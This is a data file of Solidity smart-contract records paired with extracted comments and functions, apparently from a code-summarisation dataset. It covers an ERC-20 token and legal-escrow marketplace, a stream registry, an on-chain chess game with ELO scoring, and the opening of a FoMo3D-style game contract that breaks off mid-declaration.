returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } /*************** TLDR CONTRACT ***************/ contract TLDR is ScribeRole, ERC20 { // TLDR: internet-native market to wrap & enforce common deal patterns with legal & ethereal security using SafeMath for uint256; // lexDAO references for lexDAOscribe (lexScribe) reputation governance fees (Ξ) address payable public lexDAO; // TLDR (LEX) ERC-20 token references for public inspection address public tldrAddress = address(this); ERC20 tldrToken = ERC20(tldrAddress); string public name = "TLDR"; string public symbol = "LEX"; uint8 public decimals = 18; // counters for lexScribe lexScriptWrapper and registered DDR (rddr) / DC (rdc) uint256 public LSW = 1; // number of lexScriptWrapper enscribed (starting from constructor tldr template) uint256 public RDC; // number of rdc uint256 public RDDR; // number of rddr // mapping for lexScribe reputation governance program mapping(address => uint256) public reputation; // mapping lexScribe reputation points mapping(address => uint256) public lastActionTimestamp; // mapping Unix timestamp of lexScribe governance actions (cooldown) mapping(address => uint256) public lastSuperActionTimestamp; // mapping Unix timestamp of special lexScribe governance actions that require longer cooldown (icedown) // mapping for stored lexScript wrappers and registered digital dollar retainers (DDR / rddr) mapping (uint256 => lexScriptWrapper) public lexScript; // mapping registered lexScript 'wet code' templates mapping (uint256 => DC) public rdc; // mapping rdc call numbers for inspection and signature revocation mapping (uint256 => DDR) public rddr; // mapping rddr call numbers for inspection and digital dollar payments struct lexScriptWrapper { // LSW: rddr lexScript templates maintained by lexScribes address lexScribe; // lexScribe (0x) address that enscribed lexScript template into TLDR / can make subsequent edits (lexVersion) address lexAddress; // (0x) address to receive lexScript wrapper lexFee / adjustable by associated lexScribe string templateTerms; // lexScript template terms to wrap rddr with legal security uint256 lexID; // number to reference in rddr to import lexScript wrapper terms uint256 lexVersion; // version number to mark lexScribe edits uint256 lexRate; // fixed, divisible rate for lexFee in ddrToken type per rddr payment made thereunder / e.g., 100 = 1% lexFee on rddr payDDR payment transaction } struct DC { // Digital Covenant lexScript templates maintained by lexScribes address signatory; // DC signatory (0x) address string templateTerms; // DC templateTerms imported from referenced lexScriptWrapper string signatureDetails; // DC may include signatory name or other supplementary info uint256 lexID; // lexID number reference to include lexScriptWrapper for legal security uint256 dcNumber; // DC number generated on signed covenant registration / identifies DC for signatory revocation function call uint256 timeStamp; // block.timestamp ("now") of DC registration bool revoked; // tracks signatory revocation status on DC } struct DDR { // Digital Dollar Retainer created on lexScript terms maintained by lexScribes / data for registration address client; // rddr client (0x) address address provider; // provider (0x) address that receives ERC-20 payments in exchange for goods or services ERC20 ddrToken; // ERC-20 digital token (0x) address used to transfer digital value on ethereum under rddr / e.g., DAI 'digital dollar' - 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359 string deliverable; // goods or services (deliverable) retained for benefit of ethereum payments uint256 lexID; // lexID number reference to include lexScriptWrapper for legal security / default '1' for generalized rddr lexScript template uint256 ddrNumber; // rddr number generated on DDR registration / identifies rddr for payDDR function calls uint256 timeStamp; // block.timestamp ("now") of registration used to calculate retainerTermination UnixTime uint256 retainerTermination; // termination date of rddr in UnixTime / locks payments to provider / after termination, allows withdrawal of remaining escrow digital value by client on payDDR function uint256 deliverableRate; // rate for rddr deliverables in digital dollar wei amount / 1 = 1000000000000000000 uint256 paid; // tracking amount of designated ERC-20 digital value paid under rddr in wei amount for payCap logic uint256 payCap; // value cap limit on rddr payments in wei amount bool confirmed; // tracks provider countersignature status bool disputed; // tracks digital dispute status from client or provider / if called, locks remainder of escrow rddr payments for reputable lexScribe resolution } constructor(string memory tldrTerms, uint256 tldrLexRate, address tldrLexAddress, address payable tldrLexDAO) public { // deploys TLDR contract with designated lexRate / lexAddress (0x) & stores base lexScript template "1" (lexID) address lexScribe = msg.sender; // TLDR summoner is lexScribe reputation[msg.sender] = 3; // sets TLDR summoner lexScribe reputation to '3' max value lexDAO = tldrLexDAO; // sets initial lexDAO (0x) address uint256 lexID = 1; // default lexID for constructor / general rddr reference, 'tldrTerms' uint256 lexVersion = 0; // initialized version of tldrTerms lexScript[lexID] = lexScriptWrapper( // populates default '1' lexScript data for reference in LSW and rddr lexScribe, tldrLexAddress, tldrTerms, lexID, lexVersion, tldrLexRate); } // TLDR Contract Events event Enscribed(uint256 indexed lexID, uint256 indexed lexVersion, address indexed lexScribe); // triggered on successful LSW creation / edits to LSW event Signed(uint256 indexed lexID, uint256 indexed dcNumber, address indexed signatory); // triggered on successful DC creation / edits to DC event Registered(uint256 indexed ddrNumber, uint256 indexed lexID, address indexed client); // triggered on successful rddr event Confirmed(uint256 indexed ddrNumber, uint256 indexed lexID, address indexed provider); // triggered on succesfful rddr confirmation event Paid(uint256 indexed ddrNumber, uint256 indexed lexID); // triggered on successful rddr payments event Disputed(uint256 indexed ddrNumber); // triggered on rddr dispute event Resolved(uint256 indexed ddrNumber); // triggered on successful rddr dispute resolution /*************** TLDR GOVERNANCE FUNCTIONS ***************/ // restricts lexScribe TLDR reputation governance function calls to once per day (cooldown) modifier cooldown() { require(now.sub(lastActionTimestamp[msg.sender]) > 1 days); // enforces cooldown period _; lastActionTimestamp[msg.sender] = now; // block.timestamp, "now" } // restricts important lexScribe TLDR reputation staking and lexDAO governance function calls to once per 90 days (icedown) modifier icedown() { require(now.sub(lastSuperActionTimestamp[msg.sender]) > 90 days); // enforces icedown period _; lastSuperActionTimestamp[msg.sender] = now; // block.timestamp, "now" } // lexDAO can add new lexScribe to maintain TLDR function addScribe(address account) public { require(msg.sender == lexDAO); _addScribe(account); reputation[account] = 1; } // lexDAO can remove lexScribe from TLDR / slash reputation function removeScribe(address account) public { require(msg.sender == lexDAO); _removeScribe(account); reputation[account] = 0; } // lexDAO can update (0x) address receiving reputation governance stakes (Ξ) / maintaining lexScribe registry function updateLexDAO(address payable newLexDAO) public { require(msg.sender == lexDAO); require(newLexDAO != address(0)); // program safety check / newLexDAO cannot be "0" burn address lexDAO = newLexDAO; // updates lexDAO (0x) address } // lexScribes can stake ether (Ξ) value for TLDR reputation and special TLDR function access (TLDR write privileges, rddr dispute resolution role) function stakeETHreputation() payable public onlyScribe icedown { require(msg.value == 0.1 ether); // tenth of ether (Ξ) fee for staking reputation to lexDAO reputation[msg.sender] = 3; // sets / refreshes lexScribe reputation to '3' max value, 'three strikes, you're out' buffer address(lexDAO).transfer(msg.value); // forwards staked value (Ξ) to designated lexDAO (0x) address } // lexScribes can burn minted LEX value for TLDR reputation function stakeLEXreputation() public onlyScribe icedown { _burn(_msgSender(), 10000000000000000000); // 10 LEX burned reputation[msg.sender] = 3; // sets / refreshes lexScribe reputation to '3' max value, 'three strikes, you're out' buffer } // public check on lexScribe reputation status function isReputable(address x) public view returns (bool) { // returns true if lexScribe is reputable return reputation[x] > 0; } // reputable lexScribes can reduce each other's reputation within cooldown period function reduceScribeRep(address reducedLexScribe) cooldown public { require(isReputable(msg.sender)); // program governance check / lexScribe must be reputable require(msg.sender != reducedLexScribe); // program governance check / cannot reduce own reputation reputation[reducedLexScribe] = reputation[reducedLexScribe].sub(1); // reduces referenced lexScribe reputation by "1" } // reputable lexScribes can repair each other's reputation within cooldown period function repairScribeRep(address repairedLexScribe) cooldown public { require(isReputable(msg.sender)); // program governance check / lexScribe must be reputable require(msg.sender != repairedLexScribe); // program governance check / cannot repair own reputation require(reputation[repairedLexScribe] < 3); // program governance check / cannot repair fully reputable lexScribe require(reputation[repairedLexScribe] > 0); // program governance check / cannot repair disreputable lexScribe / induct non-staked lexScribe reputation[repairedLexScribe] = reputation[repairedLexScribe].add(1); // repairs reputation by "1" } /*************** TLDR LEXSCRIBE FUNCTIONS ***************/ // reputable lexScribes can register lexScript legal wrappers on TLDR and program ERC-20 lexFees associated with lexID / receive LEX mint, "1" function writeLexScript(string memory templateTerms, uint256 lexRate, address lexAddress) public { require(isReputable(msg.sender)); // program governance check / lexScribe must be reputable uint256 lexID = LSW.add(1); // reflects new lexScript value for tracking lexScript wrappers uint256 lexVersion = 0; // initalized lexVersion, "0" LSW = LSW.add(1); // counts new entry to LSW lexScript[lexID] = lexScriptWrapper( // populate lexScript data for rddr / rdc usage msg.sender, lexAddress, templateTerms, lexID, lexVersion, lexRate); _mint(msg.sender, 1000000000000000000); // mints lexScribe "1" LEX for contribution to TLDR emit Enscribed(lexID, lexVersion, msg.sender); } // lexScribes can update TLDR lexScript wrappers with new templateTerms and (0x) newLexAddress / versions up LSW function editLexScript(uint256 lexID, string memory templateTerms, address lexAddress) public { lexScriptWrapper storage lS = lexScript[lexID]; // retrieve LSW data require(msg.sender == lS.lexScribe); // program safety check / authorization uint256 lexVersion = lS.lexVersion.add(1); // updates lexVersion lexScript[lexID] = lexScriptWrapper( // populates updated lexScript data for rddr / rdc usage msg.sender, lexAddress, templateTerms, lexID, lexVersion, lS.lexRate); emit Enscribed(lexID, lexVersion, msg.sender); } /*************** TLDR MARKET FUNCTIONS ***************/ // public can sign and associate (0x) ethereum identity with lexScript digital covenant wrapper function signDC(uint256 lexID, string memory signatureDetails) public { // sign Digital Covenant with (0x) address require(lexID > (0)); // program safety check require(lexID <= LSW); // program safety check lexScriptWrapper storage lS = lexScript[lexID]; // retrieve LSW data uint256 dcNumber = RDC.add(1); // reflects new rdc value for public inspection and signature revocation RDC = RDC.add(1); // counts new entry to RDC rdc[dcNumber] = DC( // populates rdc data msg.sender, lS.templateTerms, signatureDetails, lexID, dcNumber, now, false); emit Signed(lexID, dcNumber, msg.sender); } // registered DC signatories can revoke (0x) signature function revokeDC(uint256 dcNumber) public { // revoke Digital Covenant signature with (0x) address DC storage dc = rdc[dcNumber]; // retrieve rdc data require(msg.sender == dc.signatory); // program safety check / authorization rdc[dcNumber] = DC(// updates rdc data msg.sender, "Signature Revoked", // replaces Digital Covenant terms with revocation message dc.signatureDetails, dc.lexID, dc.dcNumber, now, // updates to revocation timestamp true); emit Signed(dc.lexID, dcNumber, msg.sender); } // rddr client can register DDR with TLDR lexScripts (lexID) function registerDDR( // rddr address client, address provider, ERC20 ddrToken, string memory deliverable, uint256 retainerDuration, uint256 deliverableRate, uint256 payCap, uint256 lexID) public { require(lexID > (0)); // program safety check require(lexID <= LSW); // program safety check require(deliverableRate <= payCap); // program safety check / economics require(msg.sender == client); // program safety check / authorization / client signs TLDR transaction registering ddr offer / designates provider for confirmation uint256 ddrNumber = RDDR.add(1); // reflects new rddr value for inspection and escrow management uint256 retainerTermination = now.add(retainerDuration); // rddr termination date in UnixTime, "now" block.timestamp + retainerDuration RDDR = RDDR.add(1); // counts new entry to RDDR rddr[ddrNumber] = DDR( // populate rddr data client, provider, ddrToken, deliverable, lexID, ddrNumber, now, // block.timestamp, "now" retainerTermination, deliverableRate, 0, payCap, false, false); emit Registered(ddrNumber, lexID, msg.sender); } // rddr provider can confirm rddr offer and countersign ddrNumber / trigger escrow deposit from rddr client in approved payCap amount function confirmDDR(uint256 ddrNumber) public { DDR storage ddr = rddr[ddrNumber]; // retrieve rddr data require(ddr.confirmed == false); // program safety check / status require(now <= ddr.retainerTermination); // program safety check / time require(msg.sender == ddr.provider); // program safety check / authorization ddr.confirmed = true; // reflect rddr provider countersignature ddr.ddrToken.transferFrom(ddr.client, address(this), ddr.payCap); // escrows payCap amount in approved ddrToken into TLDR for rddr payments and/or lexScribe resolution emit Confirmed(ddrNumber, ddr.lexID, msg.sender); } // rddr client can call to delegate role function delegateDDRclient(uint256 ddrNumber, address clientDelegate) public { DDR storage ddr = rddr[ddrNumber]; // retrieve rddr data require(ddr.disputed == false); // program safety check / status require(now <= ddr.retainerTermination); // program safety check / time require(msg.sender == ddr.client); // program safety check / authorization require(ddr.paid < ddr.payCap); // program safety check / economics ddr.client = clientDelegate; // updates rddr client address to delegate } // rddr parties can initiate dispute and lock escrowed remainder of rddr payCap in TLDR until resolution by reputable lexScribe function disputeDDR(uint256 ddrNumber) public { DDR storage ddr = rddr[ddrNumber]; // retrieve rddr data require(ddr.confirmed == true); // program safety check / status require(ddr.disputed == false); // program safety check / status require(now <= ddr.retainerTermination); // program safety check / time require(msg.sender == ddr.client || msg.sender == ddr.provider); // program safety check / authorization require(ddr.paid < ddr.payCap); // program safety check / economics ddr.disputed = true; // updates rddr value to reflect dispute status, "true" emit Disputed(ddrNumber); } // reputable lexScribe can resolve rddr dispute with division of remaining payCap amount in wei accounting for 5% fee / receive fee + LEX mint, "1" function resolveDDR(uint256 ddrNumber, uint256 clientAward, uint256 providerAward) public { DDR storage ddr = rddr[ddrNumber]; // retrieve rddr data uint256 ddRemainder = ddr.payCap.sub(ddr.paid); // alias remainder rddr wei amount for rddr resolution reference uint256 resolutionFee = ddRemainder.div(20); // calculates 5% lexScribe dispute resolution fee require(ddr.disputed == true); // program safety check / status require(clientAward.add(providerAward) == ddRemainder.sub(resolutionFee)); // program safety check / economics require(msg.sender != ddr.client); // program safety check / authorization / client cannot resolve own dispute as lexScribe require(msg.sender != ddr.provider); // program safety check / authorization / provider cannot resolve own dispute as lexScribe require(isReputable(msg.sender)); // program governance check / resolving lexScribe must be reputable require(balanceOf(msg.sender) >= 5000000000000000000); // program governance check / resolving lexScribe must have at least "5" LEX balance ddr.ddrToken.transfer(ddr.client, clientAward); // executes ERC-20 award transfer to rddr client ddr.ddrToken.transfer(ddr.provider, providerAward); // executes ERC-20 award transfer to rddr provider ddr.ddrToken.transfer(msg.sender, resolutionFee); // executes ERC-20 fee transfer to resolving lexScribe _mint(msg.sender, 1000000000000000000); // mints resolving lexScribe "1" LEX for contribution to TLDR ddr.paid = ddr.paid.add(ddRemainder); // tallies remainder to paid wei amount to reflect rddr closure emit Resolved(ddrNumber); } // client can call to pay rddr on TLDR function payDDR(uint256 ddrNumber) public { // releases escrowed ddrToken deliverableRate amount to provider (0x) address / lexFee for attached lexID lexAddress DDR storage ddr = rddr[ddrNumber]; // retrieve rddr data lexScriptWrapper storage lS = lexScript[ddr.lexID]; // retrieve LSW data require(ddr.confirmed == true); // program safety check / status require(ddr.disputed == false); // program safety check / status require(now <= ddr.retainerTermination); // program safety check / time require(msg.sender == ddr.client); // program safety check / authorization require(ddr.paid.add(ddr.deliverableRate) <= ddr.payCap); // program safety check / economics uint256 lexFee = ddr.deliverableRate.div(lS.lexRate); // derives lexFee from rddr deliverableRate ddr.ddrToken.transfer(ddr.provider, ddr.deliverableRate.sub(lexFee)); // executes ERC-20 transfer to rddr provider in deliverableRate amount ddr.ddrToken.transfer(lS.lexAddress, lexFee); // executes ERC-20 transfer of lexFee to (0x) lexAddress identified in lexID ddr.paid = ddr.paid.add(ddr.deliverableRate); // tracks total ERC-20 wei amount paid under rddr / used to calculate rddr remainder emit Paid(ddr.ddrNumber, ddr.lexID); } // client can call to withdraw rddr remainder on TLDR after termination function withdrawRemainder(uint256 ddrNumber) public { // releases escrowed ddrToken deliverableRate amount to provider (0x) address DDR storage ddr = rddr[ddrNumber]; // retrieve rddr data require(ddr.confirmed == true); // program safety check / status require(ddr.disputed == false); // program safety check / status require(now >= ddr.retainerTermination); // program safety check / time require(msg.sender == ddr.client); // program safety check / authorization uint256 remainder = ddr.payCap.sub(ddr.paid); // derive rddr remainder require(remainder > 0); // program safety check / economics ddr.ddrToken.transfer(ddr.client, remainder); // executes ERC-20 transfer to rddr provider in escrow remainder amount ddr.paid = ddr.paid.add(remainder); // tallies remainder to paid wei amount to reflect rddr closure } }
/ reputable lexScribes can register lexScript legal wrappers on TLDR and program ERC-20 lexFees associated with lexID / receive LEX mint, "1"
function writeLexScript(string memory templateTerms, uint256 lexRate, address lexAddress) public { msg.sender, lexAddress, templateTerms, lexID, lexVersion, lexRate); emit Enscribed(lexID, lexVersion, msg.sender); TLDR LEXSCRIBE FUNCTIONS }
2,555,164
pragma solidity ^0.5.0; contract dTokStreams { string internal constant ERROR_NO_STREAM_URL_PROVIDED = "NO_STREAM_URL_PROVIDED"; string internal constant ERROR_ONE_STREAM_PER_USER = "ONE_STREAM_PER_USER"; struct Stream { string url; string title; } mapping(address => Stream) public streams; // One stream per address address[] public addrLookUpTable; // Used to iterate over all addresses corresponding to streams /* * @notice Create a record for a new dTok stream * @param _url The URL of the stream to be viewed via the Livepeer Media Player * @param _title The textual title / description of the stream */ function createStream(string memory _url, string memory _title) public { require(bytes(_url).length > 0, ERROR_NO_STREAM_URL_PROVIDED); require(bytes(streams[msg.sender].url).length == 0, ERROR_ONE_STREAM_PER_USER); // A hacky way to check if the sender has already authored an existing stream (only one stream per user is currently allowed) // Save new Stream struct to mapping streams[msg.sender] = Stream(_url, _title); // Save the mapped address to the look up table (for accessing all streams) addrLookUpTable.push(msg.sender); } // A public getter for array size is required function size() view public returns (uint) { return addrLookUpTable.length; } }
Create a record for a new dTok stream _url The URL of the stream to be viewed via the Livepeer Media Player _title The textual title / description of the stream/ Save new Stream struct to mapping Save the mapped address to the look up table (for accessing all streams)
function createStream(string memory _url, string memory _title) public { require(bytes(_url).length > 0, ERROR_NO_STREAM_URL_PROVIDED); streams[msg.sender] = Stream(_url, _title); addrLookUpTable.push(msg.sender); }
12,648,490
/* * Chess contract * Stores any amount of games with two players and current state. * State encoding: * positive numbers for white, negative numbers for black * for details, see * https://github.com/ise-ethereum/on-chain-chess/wiki/Chess-board-representation */ import "./TurnBasedGame.sol"; import "./ChessLogic.sol"; import "./Auth.sol"; import "./ELO.sol"; contract Chess is TurnBasedGame, Auth { using ChessLogic for ChessLogic.State; mapping (bytes32 => ChessLogic.State) gameStates; using ELO for ELO.Scores; ELO.Scores eloScores; function getEloScore(address player) constant returns(uint) { return eloScores.getScore(player); } event GameInitialized(bytes32 indexed gameId, address indexed player1, string player1Alias, address playerWhite, uint turnTime, uint pot); event GameJoined(bytes32 indexed gameId, address indexed player1, string player1Alias, address indexed player2, string player2Alias, address playerWhite, uint pot); event GameStateChanged(bytes32 indexed gameId, int8[128] state); event Move(bytes32 indexed gameId, address indexed player, uint256 fromIndex, uint256 toIndex); event EloScoreUpdate(address indexed player, uint score); function Chess(bool enableDebugging) TurnBasedGame(enableDebugging) { } /** * Initialize a new game * string player1Alias: Alias of the player creating the game * bool playAsWhite: Pass true or false depending on if the creator will play as white */ function initGame(string player1Alias, bool playAsWhite, uint turnTime) public returns (bytes32) { bytes32 gameId = super.initGame(player1Alias, playAsWhite, turnTime); // Setup game state int8 nextPlayerColor = int8(1); gameStates[gameId].setupState(nextPlayerColor); if (playAsWhite) { // Player 1 will play as white gameStates[gameId].playerWhite = msg.sender; // Game starts with White, so here player 1 games[gameId].nextPlayer = games[gameId].player1; } // Sent notification events GameInitialized(gameId, games[gameId].player1, player1Alias, gameStates[gameId].playerWhite, games[gameId].turnTime, games[gameId].pot); GameStateChanged(gameId, gameStates[gameId].fields); return gameId; } /** * Join an initialized game * bytes32 gameId: ID of the game to join * string player2Alias: Alias of the player that is joining */ function joinGame(bytes32 gameId, string player2Alias) public { super.joinGame(gameId, player2Alias); // If the other player isn't white, player2 will play as white if (gameStates[gameId].playerWhite == 0) { gameStates[gameId].playerWhite = msg.sender; // Game starts with White, so here player2 games[gameId].nextPlayer = games[gameId].player2; } GameJoined(gameId, games[gameId].player1, games[gameId].player1Alias, games[gameId].player2, player2Alias, gameStates[gameId].playerWhite, games[gameId].pot); } /** * * verify signature of state * verify signature of move * apply state, verify move */ function moveFromState(bytes32 gameId, int8[128] state, uint256 fromIndex, uint256 toIndex, bytes sigState) notEnded(gameId) public { // check whether sender is a member of this game if (games[gameId].player1 != msg.sender && games[gameId].player2 != msg.sender) { throw; } // find opponent to msg.sender address opponent; if (msg.sender == games[gameId].player1) { opponent = games[gameId].player2; } else { opponent = games[gameId].player1; } // verify state - should be signed by the other member of game - not mover if (!verifySig(opponent, sha3(state, gameId), sigState)) { throw; } // check move count. New state should have a higher move count. if ((state[8] * int8(128) + state[9]) < (gameStates[gameId].fields[8] * int8(128) + gameStates[gameId].fields[9])) { throw; } int8 playerColor = msg.sender == gameStates[gameId].playerWhite ? int8(1) : int8(-1); // apply state gameStates[gameId].setState(state, playerColor); games[gameId].nextPlayer = msg.sender; // apply and verify move move(gameId, fromIndex, toIndex); } function move(bytes32 gameId, uint256 fromIndex, uint256 toIndex) notEnded(gameId) public { if (games[gameId].timeoutState == 2 && now >= games[gameId].timeoutStarted + games[gameId].turnTime * 1 minutes && msg.sender != games[gameId].nextPlayer) { // Just a fake move to determine if there is a possible move left for timeout // Chess move validation gameStates[gameId].move(fromIndex, toIndex, msg.sender != gameStates[gameId].playerWhite); } else { if (games[gameId].nextPlayer != msg.sender) { throw; } if(games[gameId].timeoutState != 0) { games[gameId].timeoutState = 0; } // Chess move validation gameStates[gameId].move(fromIndex, toIndex, msg.sender == gameStates[gameId].playerWhite); // Set nextPlayer if (msg.sender == games[gameId].player1) { games[gameId].nextPlayer = games[gameId].player2; } else { games[gameId].nextPlayer = games[gameId].player1; } } // Send events Move(gameId, msg.sender, fromIndex, toIndex); GameStateChanged(gameId, gameStates[gameId].fields); } /* Explicit set game state. Only in debug mode */ function setGameState(bytes32 gameId, int8[128] state, address nextPlayer) debugOnly public { int8 playerColor = nextPlayer == gameStates[gameId].playerWhite ? int8(1) : int8(-1); gameStates[gameId].setState(state, playerColor); games[gameId].nextPlayer = nextPlayer; GameStateChanged(gameId, gameStates[gameId].fields); } function getCurrentGameState(bytes32 gameId) constant returns (int8[128]) { return gameStates[gameId].fields; } function getWhitePlayer(bytes32 gameId) constant returns (address) { return gameStates[gameId].playerWhite; } function Resign(bytes32 gameId) notEnded(gameId) public { super.Resign(gameId); // Update ELO scores var game = games[gameId]; eloScores.recordResult(game.player1, game.player2, game.winner); EloScoreUpdate(game.player1, eloScores.getScore(game.player1)); EloScoreUpdate(game.player2, eloScores.getScore(game.player2)); } /* The sender claims he has won the game. Starts a timeout. */ function claimWin(bytes32 gameId) notEnded(gameId) public { super.claimWin(gameId); // get the color of the player that wants to claim win int8 otherPlayerColor = gameStates[gameId].playerWhite == msg.sender ? int8(-1) : int8(1); // We get the king position of that player uint256 kingIndex = uint256(gameStates[gameId].getOwnKing(otherPlayerColor)); // if he is not in check, the request is illegal if (!gameStates[gameId].checkForCheck(kingIndex, otherPlayerColor)){ throw; } } /* * The sender (currently waiting player) claims that the other (turning) * player timed out and has to provide a move, the other player could * have done to prevent the timeout. */ function claimTimeoutEndedWithMove(bytes32 gameId, uint256 fromIndex, uint256 toIndex) notEnded(gameId) public { var game = games[gameId]; // just the two players currently playing if (msg.sender != game.player1 && msg.sender != game.player2) throw; if (now < game.timeoutStarted + game.turnTime * 1 minutes) throw; if (msg.sender == game.nextPlayer) throw; if (game.timeoutState != 2) throw; // TODO we need other move function // move is valid if it does not throw move(gameId, fromIndex, toIndex); game.ended = true; game.winner = msg.sender; if(msg.sender == game.player1) { games[gameId].player1Winnings = games[gameId].pot; games[gameId].pot = 0; } else { games[gameId].player2Winnings = games[gameId].pot; games[gameId].pot = 0; } // Update ELO scores eloScores.recordResult(game.player1, game.player2, game.winner); EloScoreUpdate(game.player1, eloScores.getScore(game.player1)); EloScoreUpdate(game.player2, eloScores.getScore(game.player2)); GameEnded(gameId); } /* The sender claims a previously started timeout. */ function claimTimeoutEnded(bytes32 gameId) notEnded(gameId) public { super.claimTimeoutEnded(gameId); // Update ELO scores var game = games[gameId]; eloScores.recordResult(game.player1, game.player2, game.winner); EloScoreUpdate(game.player1, eloScores.getScore(game.player1)); EloScoreUpdate(game.player2, eloScores.getScore(game.player2)); } /* A timeout can be confirmed by the non-initializing player. */ function confirmGameEnded(bytes32 gameId) notEnded(gameId) public { super.confirmGameEnded(gameId); // Update ELO scores var game = games[gameId]; eloScores.recordResult(game.player1, game.player2, game.winner); EloScoreUpdate(game.player1, eloScores.getScore(game.player1)); EloScoreUpdate(game.player2, eloScores.getScore(game.player2)); } /* This unnamed function is called whenever someone tries to send ether to the contract */ function () { throw; // Prevents accidental sending of ether } }
A timeout can be confirmed by the non-initializing player. / Update ELO scores
function confirmGameEnded(bytes32 gameId) notEnded(gameId) public { super.confirmGameEnded(gameId); var game = games[gameId]; eloScores.recordResult(game.player1, game.player2, game.winner); EloScoreUpdate(game.player1, eloScores.getScore(game.player1)); EloScoreUpdate(game.player2, eloScores.getScore(game.player2)); }
7,217,285
pragma solidity ^0.4.24; contract Suohaevents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // received pot swap deposit event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularShort is Suohaevents {} contract Fumo is modularShort { using SafeMath for *; using NameFilter for string; using 